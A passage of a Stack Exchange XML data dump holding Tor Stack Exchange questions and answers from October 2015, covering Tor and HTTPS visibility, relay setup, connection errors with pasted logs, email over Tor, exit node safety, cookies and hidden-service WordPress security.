node&lt;/strong&gt;, &lt;strong&gt;your Tor exit node&lt;/strong&gt;&lt;/li&gt;&#xA;&lt;li&gt;Tor exit node sees &lt;em&gt;site.com&lt;/em&gt;, &lt;em&gt;username&lt;/em&gt;, &lt;em&gt;password&lt;/em&gt;, &lt;strong&gt;your Tor exit node&lt;/strong&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;em&gt;Site.com&lt;/em&gt; sees &lt;em&gt;site.com&lt;/em&gt;, &lt;em&gt;username&lt;/em&gt;, &lt;em&gt;password&lt;/em&gt;, &lt;strong&gt;your Tor exit node&lt;/strong&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/xmfuw.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/xmfuw.png&quot; alt=&quot;HTTP with TorBrowser&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;ol start=&quot;4&quot;&gt;&#xA;&lt;li&gt;Login to http&lt;strong&gt;S&lt;/strong&gt; site &lt;strong&gt;with&lt;/strong&gt; TorBrowser&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Router &amp;amp; ISP &amp;amp; Intermediary servers see: &lt;em&gt;your IP&lt;/em&gt;, &lt;strong&gt;encrypted&lt;/strong&gt;{&lt;em&gt;site.com&lt;/em&gt;, &lt;em&gt;username&lt;/em&gt;, &lt;em&gt;password&lt;/em&gt;}, &lt;strong&gt;your Tor entry node&lt;/strong&gt;&lt;/li&gt;&#xA;&lt;li&gt;Tor entry node sees: &lt;em&gt;your IP&lt;/em&gt;, &lt;strong&gt;encrypted&lt;/strong&gt;{&lt;em&gt;site.com&lt;/em&gt;, &lt;em&gt;username&lt;/em&gt;, &lt;em&gt;password&lt;/em&gt;}, &lt;strong&gt;your Tor entry node&lt;/strong&gt;&lt;/li&gt;&#xA;&lt;li&gt;Tor relay node sees &lt;strong&gt;encrypted&lt;/strong&gt;{&lt;em&gt;site.com&lt;/em&gt;, &lt;em&gt;username&lt;/em&gt;, &lt;em&gt;password&lt;/em&gt;}, &lt;strong&gt;your Tor entry node&lt;/strong&gt;, &lt;strong&gt;your Tor exit node&lt;/strong&gt;&lt;/li&gt;&#xA;&lt;li&gt;Tor exit node sees &lt;em&gt;site.com&lt;/em&gt;, &lt;strong&gt;encrypted&lt;/strong&gt;{&lt;em&gt;username&lt;/em&gt;, &lt;em&gt;password&lt;/em&gt;}, &lt;strong&gt;your Tor exit node&lt;/strong&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;em&gt;Site.com&lt;/em&gt; sees &lt;em&gt;site.com&lt;/em&gt;, &lt;em&gt;username&lt;/em&gt;, &lt;em&gt;password&lt;/em&gt;, &lt;strong&gt;your Tor exit node&lt;/strong&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/xw88z.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/xw88z.png&quot; alt=&quot;HTTPS with TorBrowser&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Source: &lt;a href=&quot;https://www.eff.org/pages/tor-and-https&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://www.eff.org/pages/tor-and-https&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="4995" LastEditorUserId="4995" LastEditDate="2015-10-02T17:34:43.957" LastActivityDate="2015-10-02T17:34:43.957" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="8778" PostTypeId="1" AcceptedAnswerId="8812" CreationDate="2015-10-02T17:04:56.293" Score="0" ViewCount="303" Body="&lt;p&gt;I am wondering how I go about finding the user that is running tor when installed on ubuntu. The quote below says that tor should be running as a separate user. I have a relay setup and currently running. I am doing this so that I can setup tor-arm based upon the instructions given here: &lt;a href=&quot;https://www.torproject.org/docs/tor-relay-debian.html.en#after&quot; rel=&quot;nofollow&quot;&gt;https://www.torproject.org/docs/tor-relay-debian.html.en#after&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&quot;The best approach for most users is to run your relay on Debian or Ubuntu using the system Tor package — the deb takes care of running Tor as a separate user, making sure it has enough file descriptors available, starting it at boot, and so on.&quot;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I used option 2 on the following page to complete the ubuntu install:&#xA;&lt;a href=&quot;https://www.torproject.org/docs/debian.html.en&quot; rel=&quot;nofollow&quot;&gt;https://www.torproject.org/docs/debian.html.en&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="9509" LastActivityDate="2015-10-07T17:52:36.987" Title="Finding ubuntu user account running tor for tor-arm install" Tags="|configuration|relays|nyx|" AnswerCount="1" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="8780" PostTypeId="1" CreationDate="2015-10-02T20:41:53.650" Score="0" ViewCount="1577" Body="&lt;p&gt;Just like this:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://gyazo.com/b3f0e90e84fad2c3335b5873733e6d24&quot; rel=&quot;nofollow&quot;&gt;https://gyazo.com/b3f0e90e84fad2c3335b5873733e6d24&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have opened up Task Manager, and I cannot find any firefox or Tor processes. I a on Windows 8.1.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have never tried using Tor before, so I don't really know what I'm doing.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;edit: when I restarted I get this:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://gyazo.com/952af57f6ed423a0ed20a4fb7eb3448b&quot; rel=&quot;nofollow&quot;&gt;https://gyazo.com/952af57f6ed423a0ed20a4fb7eb3448b&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="9537" LastEditorUserId="9537" LastEditDate="2015-10-02T21:14:12.483" LastActivityDate="2015-10-06T08:32:03.247" Title="After installing Tor, I get this: &quot;Another program is currently using this file&quot;" Tags="|windows|startup|" AnswerCount="1" CommentCount="6" ContentLicense="CC BY-SA 3.0" />
  <row Id="8783" PostTypeId="1" CreationDate="2015-10-03T02:40:04.210" Score="1" ViewCount="60" Body="&lt;p&gt;Opened Tor Browser, clicked the test link, then clicked the Atlas link, and was told &quot;No results found&quot;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Another question said that when onionoo is down it would fail, but the message would look more like an error message.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The onion menu still shows what country.&lt;/p&gt;&#xA;" OwnerUserId="7011" LastActivityDate="2015-10-03T07:31:36.643" Title="What does it mean when the Atlas has no info on my exit node?" Tags="|atlas|" AnswerCount="0" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="8786" PostTypeId="1" CreationDate="2015-10-03T10:58:16.413" Score="1" ViewCount="471" Body="&lt;p&gt;How do I direct my email client (Thunderbird) to use Tor when sending and receiving? Or am I not understanding this correctly?&lt;/p&gt;&#xA;" OwnerUserId="9545" LastEditorUserId="112" LastEditDate="2015-10-03T17:23:10.527" LastActivityDate="2015-12-02T18:06:11.010" Title="How do I ensure my email client (Thunderbird) is using Tor?" Tags="|security|email|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="8788" PostTypeId="2" ParentId="8786" CreationDate="2015-10-03T17:22:46.030" Score="1" Body="&lt;p&gt;The best way to make sure it works properly is to use &lt;a href=&quot;https://addons.mozilla.org/en-US/thunderbird/addon/torbirdy/&quot; rel=&quot;nofollow&quot;&gt;TorBirdy&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;This extension configures Thunderbird to make connections over the Tor&#xA;  anonymity network.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;You should read the &lt;a href=&quot;https://trac.torproject.org/projects/tor/wiki/torbirdy&quot; rel=&quot;nofollow&quot;&gt;wiki page&lt;/a&gt; for it before you put it to use.&lt;/p&gt;&#xA;" OwnerUserId="112" LastActivityDate="2015-10-03T17:22:46.030" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="8790" PostTypeId="1" CreationDate="2015-10-03T23:16:54.683" Score="0" ViewCount="20" Body="&lt;p&gt;When I try to launch Tor I get a pop up saying &quot;Tor unexpectedly exited. This might be due to a bug in Tor itself. another program on your system, or faulty hardware. Until you restart Tor, the Tor Browser will not able to reach any websites. If the program persists, please send a copy of your Tor Log to the support team.&quot;&lt;/p&gt;&#xA;" OwnerUserId="9550" LastActivityDate="2015-10-03T23:16:54.683" Title="tor cant connect to tor network mac" Tags="|tor-browser-bundle|" AnswerCount="0" CommentCount="2" ClosedDate="2015-10-06T14:16:01.330" ContentLicense="CC BY-SA 3.0" />
  <row Id="8791" PostTypeId="1" CreationDate="2015-10-04T05:11:31.347" Score="1" ViewCount="88" Body="&lt;p&gt;When I try to run my whonix-gw on Qubes I get an error saying,&quot;This MAC address already exists.&quot; Everything installed alright, and I followed the installation directions exactly.&lt;/p&gt;&#xA;" OwnerUserId="9554" LastActivityDate="2015-10-04T05:11:31.347" Title="Whonix over Qubes, Mac Address Error" Tags="|whonix|qubes|" AnswerCount="0" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="8792" PostTypeId="1" CreationDate="2015-10-04T05:38:12.427" Score="1" ViewCount="105" Body="&lt;p&gt;So I've been to several questions on this regarding some issues with people being inable to connect to the Tor network, yet I am still inable to connect.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;After downloading the bundle I click 'Start Tor Browser' which brings me to the 'Tor Network Settings' window. There are two options. I always click the first which loads until it says 'Please wait while we establish a connect to the Tor Network', but it never finishes, ever.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The second option on the 'Tor Network Settings' is to complicated for me to work through on myself as I am not very experience with that type of stuff.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Can someone help me?&lt;/p&gt;&#xA;" OwnerUserId="9555" LastActivityDate="2015-10-04T05:38:12.427" Title="I recently installed tor and it cant seem to connect to tor network" Tags="|configuration|" AnswerCount="0" CommentCount="1" ClosedDate="2016-10-14T23:01:03.587" ContentLicense="CC BY-SA 3.0" />
  <row Id="8793" PostTypeId="2" ParentId="4925" CreationDate="2015-10-04T07:23:40.210" Score="0" Body="&lt;p&gt;The EFF (&lt;a href=&quot;https://en.wikipedia.org/wiki/Electronic_Frontier_Foundation&quot; rel=&quot;nofollow&quot;&gt;Electronic Frontier Foundation&lt;/a&gt;) has &lt;a href=&quot;https://www.eff.org/torchallenge/faq.html&quot; rel=&quot;nofollow&quot;&gt;an FAQ page&lt;/a&gt; which details its legal reccommendations about running Tor. It doesn't specifically mention hidden services, but its advice concerning exit nodes - i.e. be as transparent as possible - is probably similarly relevant.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Their recommendations assume that your ISP is Tor-friendly (or at least Tor-tolerant); if you know yours isn't, then perhaps check &lt;a href=&quot;https://trac.torproject.org/projects/tor/wiki/doc/GoodBadISPs&quot; rel=&quot;nofollow&quot;&gt;the list on the Tor wiki&lt;/a&gt; for one that is.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Their advice on subpoenas and DMCA notices might also be of use, though hopefully never needed.&lt;/p&gt;&#xA;" OwnerUserId="1730" LastActivityDate="2015-10-04T07:23:40.210" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="8794" PostTypeId="1" CreationDate="2015-10-04T10:10:58.867" Score="1" ViewCount="8119" Body="&lt;p&gt;How do I connect &quot;eMule&quot; software through the Tor annonymous Connection?&lt;/p&gt;&#xA;" OwnerUserId="9559" LastActivityDate="2015-10-15T19:30:18.353" Title="How do I connect &quot;eMule&quot; software through the Tor Connection?" Tags="|configuration|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="8795" PostTypeId="2" ParentId="8794" CreationDate="2015-10-04T22:18:57.577" Score="1" Body="&lt;p&gt;eMule is a P2P file-sharing application. The general recommendations are that &lt;a href=&quot;https://tor.stackexchange.com/a/68/1730&quot;&gt;you shouldn't run P2P over Tor&lt;/a&gt;, with the main reason being that the network doesn't have enough capacity to support the volume of traffic generated by file sharing.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If your aim is to use P2P anonymously, then even if you correctly configure your application to use SOCKS (which eMule does support), you would have to ensure that the application is actually adhering to your settings - this isn't always the case with file-sharing applications, as described in &lt;a href=&quot;https://blog.torproject.org/blog/bittorrent-over-tor-isnt-good-idea&quot; rel=&quot;nofollow noreferrer&quot;&gt;this blog post&lt;/a&gt; on BitTorrent.&lt;/p&gt;&#xA;" OwnerUserId="1730" LastEditorUserId="-1" LastEditDate="2017-04-13T12:59:11.733" LastActivityDate="2015-10-04T22:18:57.577" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="8796" PostTypeId="1" AcceptedAnswerId="8798" CreationDate="2015-10-05T00:12:04.253" Score="1" ViewCount="266" Body="&lt;p&gt;Or does it even matter?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I connected to almost a dozen paths and ran the &quot;shields up&quot; port probe at GRC.com&lt;/p&gt;&#xA;&#xA;&lt;p&gt;All but three had most ports in stealth mode.  (Most had SSH, HTTP, and HTTPS connections either accepted or rejected.)  One path had more than a dozen ports open, and two of them had almost all ports open.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I would just as soon not route through a host like that.&lt;/p&gt;&#xA;" OwnerUserId="7011" LastEditorUserId="7011" LastEditDate="2015-10-06T02:18:43.103" LastActivityDate="2015-10-06T02:18:43.103" Title="Is there a way to check vulnerability of an exit node before choosing it?" Tags="|security|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="8797" PostTypeId="1" CreationDate="2015-10-05T12:27:37.147" Score="1" ViewCount="126" Body="&lt;p&gt;I run tor relay ( non exit) and openvpn on the server. I connect to vpn from iphone or any device, but I whant that traffic would go through tor. I am looking for setup instructions&lt;/p&gt;&#xA;&#xA;&lt;p&gt;That will allow to use tor network from any device anywhere especially from iphone on 3g or 4g network&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Server: Debian jessie&lt;/p&gt;&#xA;" OwnerUserId="9565" LastActivityDate="2015-10-05T12:27:37.147" Title="Tor relay + openvpn to conect from iphone anywhere" Tags="|openvpn|" AnswerCount="0" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="8798" PostTypeId="2" ParentId="8796" CreationDate="2015-10-05T12:30:18.013" Score="1" Body="&lt;p&gt;If your data is encrypted - e.g. if you're using HTTPS, which Tor attempts to do as default - then that data isn't accessible to an attacker. The attacker could either be the owner of the exit node, or someone who has compromised the exit node via an open port. I always assume the worst case: the exit node I'm using is owned by the Bad Guys. In which case, the ports being open doesn't really matter.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Additionally, being selective about which exit node you want to use doesn't necessarily make things safer. If everyone did this, and selected exit nodes with no open ports, then those nodes could become a bottleneck and slow the network. (Though this would depend on how many such nodes there are, and the level of exit node redundancy in the normal case.) If the Bad Guys realised that people were routing through a certain sub-set of nodes, this would then provide them with a new attack vector: set up exit nodes with no open ports.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It's also worth noting that all exit nodes are systematically scanned with  &lt;a href=&quot;https://www.torproject.org/getinvolved/volunteer.html.en#project-exitmap&quot; rel=&quot;nofollow&quot;&gt;Exitmap&lt;/a&gt;, which is a tool specifically used to check for misconfigured and malicious exit nodes. (The &lt;a href=&quot;http://www.cs.kau.se/philwint/spoiled_onions/pets2014.pdf&quot; rel=&quot;nofollow&quot;&gt;Spoiled Onions&lt;/a&gt; paper has lots more details on how it works.)&lt;/p&gt;&#xA;" OwnerUserId="1730" LastEditorUserId="1730" LastEditDate="2015-10-05T14:44:35.833" LastActivityDate="2015-10-05T14:44:35.833" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="8803" PostTypeId="2" ParentId="8599" CreationDate="2015-10-05T21:32:43.723" Score="1" Body="&lt;p&gt;Easy way I found to get things working was create a Tails OS DVD. Boot from DVD, plug in 32gig flash drive. Use program in tails to clone/install tails onto flash drive. Boot from flash drive. Create persistence partition using persistence installer in tails once booted from flash drive. You could do this replacing the DVD with another flash drive if you have one. I felt like this method was pretty easy and fool proof. It requires no manual partitioning and is all done through programs that are built into tails os.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;can't make comments yet due to rep but I'm pretty sure if you have 2 USB's you can replace the DVD with USB1 and then install onto USB2, in case you have an extra USB and don't want to waste a DVD.&lt;/p&gt;&#xA;" OwnerUserId="9509" LastEditorUserId="9509" LastEditDate="2015-10-06T13:04:08.917" LastActivityDate="2015-10-06T13:04:08.917" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="8804" PostTypeId="1" CreationDate="2015-10-06T06:35:39.857" Score="2" ViewCount="59" Body="&lt;p&gt;Last login: Mon Oct  5 23:12:01 on ttys000&#xA;cesar-montanos-MacBook:~ cesarmontano$ 15-10-05 23:17:02.300 [NOTICE] Opening Socks listener on 127.0.0.1:9150 &#xA;15-10-05 23:17:02.300 [NOTICE] Renaming old configuration file to &quot;/Applications/TorBrowser.app/TorBrowser/Data/Tor/torrc.orig.1&quot; &#xA;15-10-05 23:17:02.600 [NOTICE] Bootstrapped 5%: Connecting to directory server &#xA;15-10-05 23:17:02.800 [NOTICE] Bootstrapped 10%: Finishing handshake with directory server &#xA;15-10-05 23:17:03.400 [NOTICE] Bootstrapped 15%: Establishing an encrypted directory connection &#xA;15-10-05 23:17:03.600 [NOTICE] Bootstrapped 20%: Asking for networkstatus consensus &#xA;15-10-05 23:17:03.700 [NOTICE] Bootstrapped 25%: Loading networkstatus consensus &#xA;15-10-05 23:17:06.200 [WARN] Received directory with skewed time (server '171.25.193.9:80'): It seems that our clock is behind by 2 hours, 54 minutes, or that theirs is ahead. Tor requires an accurate clock to work: please check your time, timezone, and date settings. &#xA;15-10-05 23:17:06.200 [NOTICE] I learned some more directory information, but not enough to build a circuit: We have no usable consensus. &#xA;15-10-05 23:17:06.300 [NOTICE] Bootstrap-bash: 15-10-05: command not found&#xA;cesar-montanos-MacBook:~ cesarmontano$ 15-10-05 23:17:02.300 [NOTICE] Renaming old configuration file to &quot;/Applications/TorBrowser.app/TorBrowser/Data/Tor/torrc.orig.1&quot; &#xA;-bash: 15-10-05: command not found&#xA;cesar-montanos-MacBook:~ cesarmontano$ 15-10-05 23:17:02.600 [NOTICE] Bootstrapped 5%: Connecting to directory server &#xA;-bash: 15-10-05: command not found&#xA;cesar-montanos-MacBook:~ cesarmontano$ 15-10-05 23:17:02.800 [NOTICE] Bootstrapped 10%: Finishing handshake with directory server &#xA;-bash: 15-10-05: command not found&#xA;cesar-montanos-MacBook:~ cesarmontano$ 15-10-05 23:17:03.400 [NOTICE] Bootstrapped 15%: Establishing an encrypted directory connection &#xA;-bash: 15-10-05: command not found&#xA;cesar-montanos-MacBook:~ cesarmontano$ 15-10-05 23:17:03.600 [NOTICE] Bootstrapped 20%: Asking for networkstatus consensus &#xA;-bash: 15-10-05: command not found&#xA;cesar-montanos-MacBook:~ cesarmontano$ 15-10-05 23:17:03.700 [NOTICE] Bootstrapped 25%: Loading networkstatus consensus &#xA;-bash: 15-10-05: command not found&#xA;cesar-montanos-MacBook:~ cesarmontano$ 15-10-05 23:17:06.200 [WARN] Received directory with skewed time (server '171.25.193.9:80'): It seems that our clock is behind by 2 hours, 54 minutes, or that theirs is ahead. Tor requires an accurate clock to work: please check your time, timezone, and date settings. &#xA;-bash: syntax error near unexpected token &lt;code&gt;('&#xA;cesar-montanos-MacBook:~ cesarmontano$ 15-10-05 23:17:06.200 [NOTICE] I learned some more directory information, but not enough to build a circuit: We have no usable consensus. &#xA;-bash: 15-10-05: command not found&#xA;cesar-montanos-MacBook:~ cesarmontano$ 15-10-05 23:17:06.300 [NOTICE] Bootstrapped 40%: Loading authority key certs &#xA;-bash: 15-10-05: command not found&#xA;cesar-montanos-MacBook:~ cesarmontano$ 15-10-05 23:17:06.500 [WARN] Received directory with skewed time (server '199.254.238.52:443'): It seems that our clock is behind by 2 hours, 54 minutes, or that theirs is ahead. Tor requires an accurate clock to work: please check your time, timezone, and date settings. &#xA;-bash: syntax error near unexpected token&lt;/code&gt;('&#xA;cesar-montanos-MacBook:~ cesarmontano$ 15-10-05 23:17:06.500 [WARN] Our clock is 2 hours, 42 minutes behind the time published in the consensus network status document (2015-10-06 06:00:00 UTC).  Tor needs an accurate clock to work correctly. Please check your time and date settings! &#xA;-bash: syntax error near unexpected token `('&#xA;cesar-montanos-MacBook:~ cesarmontano$ 15-10-05 23:17:06.500 [NOTICE] I learned some more directory information, but not enough to build a circuit: We have no recent usable consensus. &#xA;-bash: 15-10-05: command not found&#xA;cesar-montanos-MacBook:~ cesarmontano$ 15-10-05 23:17:23.500 [NOTICE] Closing no-longer-configured Socks listener on 127.0.0.1:9150 &#xA;-bash: 15-10-05: command not found&#xA;cesar-montanos-MacBook:~ cesarmontano$ 15-10-05 23:17:23.500 [NOTICE] DisableNetwork is set. Tor will not make or accept non-control network connections. Shutting down all existing connections. &#xA;-bash: 15-10-05: command not found&#xA;cesar-montanos-MacBook:~ cesarmontano$ 15-10-05 23:17:23.500 [NOTICE] Closing old Socks listener on 127.0.0.1:9150 &#xA;-bash: 15-10-05: command not found&#xA;cesar-montanos-MacBook:~ cesarmontano$ 15-10-05 23:17:23.900 [NOTICE] Delaying directory fetches: DisableNetwork is set. &#xA;-bash: 15-10-05: command not found&#xA;cesar-montanos-MacBook:~ cesarmontano$ &#xA;here is a copy of my log.&lt;/p&gt;&#xA;" OwnerUserId="9550" LastEditorUserId="9550" LastEditDate="2015-10-06T06:42:48.373" LastActivityDate="2015-10-06T06:42:48.373" Title="cant connect to tor network 2 mac" Tags="|configuration|" AnswerCount="0" CommentCount="2" ClosedDate="2015-10-13T07:53:02.043" ContentLicense="CC BY-SA 3.0" />
  <row Id="8805" PostTypeId="2" ParentId="8780" CreationDate="2015-10-06T08:32:03.247" Score="1" Body="&lt;p&gt;You need to run the &lt;code&gt;Start Tor Browser.exe&lt;/code&gt; executable in the main &lt;code&gt;Tor Browser&lt;/code&gt; directory, rather than the &lt;code&gt;firefox.exe&lt;/code&gt; you're trying to run.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There's a very detailed guide on EFF's &lt;a href=&quot;https://ssd.eff.org/en/module/how-use-tor-windows&quot; rel=&quot;nofollow&quot;&gt;Surveillance Self-Defense&lt;/a&gt; page on how to run the Tor Browser for the first time on Windows.&lt;/p&gt;&#xA;" OwnerUserId="1730" LastActivityDate="2015-10-06T08:32:03.247" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="8806" PostTypeId="1" CreationDate="2015-10-06T14:39:38.183" Score="4" ViewCount="206" Body="&lt;p&gt;Can site.com attach (and access) identifying cookies to TorBrowser session if JavaScript disabled?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I request &quot;New Identity&quot; and disable all JavaScript using TBB's NoScript in top-left of browser. I then visit news.com and read an article but news.com wants to identify my TBB session and tries to attach a cookie. I then visit food.com and look at recipe but food.com asks TBB session for all cookies (or maybe only cookie.data.com that by coincidence is same cookie company as used by news.com).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;With JavaScript disabled and use of TBB alone, &lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;can news.com attach a cookie to my TBB session?&lt;/li&gt;&#xA;&lt;li&gt;can food.com access a previously attached cookie from my TBB session?&lt;/li&gt;&#xA;&lt;li&gt;can data.com connect news story X to recipe Y based on attached cookies from first two steps?&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;With JavaScript &lt;strong&gt;enabled&lt;/strong&gt; and use of TBB alone, &lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;can news.com attach a cookie to my TBB session?&lt;/li&gt;&#xA;&lt;li&gt;can food.com access a previously attached cookie from my TBB session?&lt;/li&gt;&#xA;&lt;li&gt;can data.com connect news story X to recipe Y based on attached cookies from first two steps?&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="4995" LastActivityDate="2016-09-10T04:39:35.197" Title="Can site.com attach (and access) identifying cookies to TorBrowser session if JavaScript disabled?" Tags="|javascript|noscript|cookies|" AnswerCount="4" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="8808" PostTypeId="1" CreationDate="2015-10-06T14:59:29.060" Score="1" ViewCount="445" Body="&lt;p&gt;I am on a connection where I have to sign in, when a browser starts.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here is the log, how should I make it work?:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;06/10/2015 15:36:32.500 [NOTICE] DisableNetwork is set. Tor will not make or accept non-control network connections. Shutting down all existing connections. &#xA;06/10/2015 15:36:32.500 [NOTICE] DisableNetwork is set. Tor will not make or accept non-control network connections. Shutting down all existing connections. &#xA;06/10/2015 15:36:32.500 [NOTICE] DisableNetwork is set. Tor will not make or accept non-control network connections. Shutting down all existing connections. &#xA;06/10/2015 15:36:32.500 [NOTICE] Opening Socks listener on 127.0.0.1:9150 &#xA;06/10/2015 15:36:32.500 [NOTICE] Renaming old configuration file to &quot;C:\Users\Peter\Desktop\YALTO\Tor Browser Experimental\Tor Browser\Browser\TorBrowser\Data\Tor\torrc.orig.1&quot; &#xA;06/10/2015 15:36:38.700 [NOTICE] Bootstrapped 5%: Connecting to directory server &#xA;06/10/2015 15:36:38.700 [NOTICE] Bootstrapped 10%: Finishing handshake with directory server &#xA;06/10/2015 15:36:59.700 [WARN] Proxy Client: unable to connect to 109.105.109.163:47779 (&quot;general SOCKS server failure&quot;) &#xA;06/10/2015 15:36:59.700 [WARN] Proxy Client: unable to connect to 169.229.59.75:46328 (&quot;general SOCKS server failure&quot;) &#xA;06/10/2015 15:36:59.700 [WARN] Proxy Client: unable to connect to 83.212.101.3:80 (&quot;general SOCKS server failure&quot;) &#xA;06/10/2015 15:36:59.700 [WARN] Proxy Client: unable to connect to 109.105.109.163:38980 (&quot;general SOCKS server failure&quot;) &#xA;06/10/2015 15:39:05.100 [NOTICE] Closing no-longer-configured Socks listener on 127.0.0.1:9150 &#xA;06/10/2015 15:39:05.100 [NOTICE] DisableNetwork is set. Tor will not make or accept non-control network connections. Shutting down all existing connections. &#xA;06/10/2015 15:39:05.100 [NOTICE] Closing old Socks listener on 127.0.0.1:9150 &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="9575" LastEditorUserId="112" LastEditDate="2015-10-06T15:46:55.547" LastActivityDate="2015-10-06T15:46:55.547" Title="Tor doesn't connect to censored ISP - Stuck on Establishing an encrypted directory connection" Tags="|tor-browser-bundle|windows|help|" AnswerCount="0" CommentCount="0" ClosedDate="2016-04-29T17:32:45.193" ContentLicense="CC BY-SA 3.0" />
  <row Id="8809" PostTypeId="2" ParentId="6679" CreationDate="2015-10-06T21:37:43.617" Score="0" Body="&lt;p&gt;There're a lot of aspects everyone should consider when using Wordpress as a CMS to host on Tor network. I would never recommend anyone to run a website like Avada with Revolution Plugins, WPML, Jetpack, etc.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The CMS as the core is secure and safe, stable and a lot of programmers keep an close eye to it (updates to Wordpress core are like a Christmas gift for a sysadmin), i'm pretty sure that you and i couldn't develop such a CMS secure. Now the plugins and themes are a total separate consideration. Setup and run it without nothing, that's a lot secure.&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Now, how will we use the CMS? You have too many plugins consuming&#xA;external APIs, even if you don't allow they policy to send statics,&#xA;debugging information for error logs, etc.&lt;/li&gt;&#xA;&lt;li&gt;To speed up the websites, themes uses CDNs to host the fonts, CSS, Javascript. This could be your vulnerability, remember what was told about SilkRoad and the recaptcha from Google? &lt;/li&gt;&#xA;&lt;li&gt;The massive use of Javascript is by itself something bad in Tor community. Readers like me don't have Javascript enabled, does your site works properly?&lt;/li&gt;&#xA;&lt;li&gt;Do you really need dependencies? Tor users are really used to ugly sites :)&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Now you have a nice way to have a CMS like Wordpress secure: install only the core and do it all by your self or a trusted programmer. Don't let the code use external dependencies and follow all the guidelines you can found about keeping the HiddenService really hidden.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There's also the point of sniffing the exit nodes but that's another story. Also you're never 100% secure, that's an illusion. T0o many people on planet could exploit your server.&lt;/p&gt;&#xA;" OwnerUserId="9577" LastActivityDate="2015-10-06T21:37:43.617" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
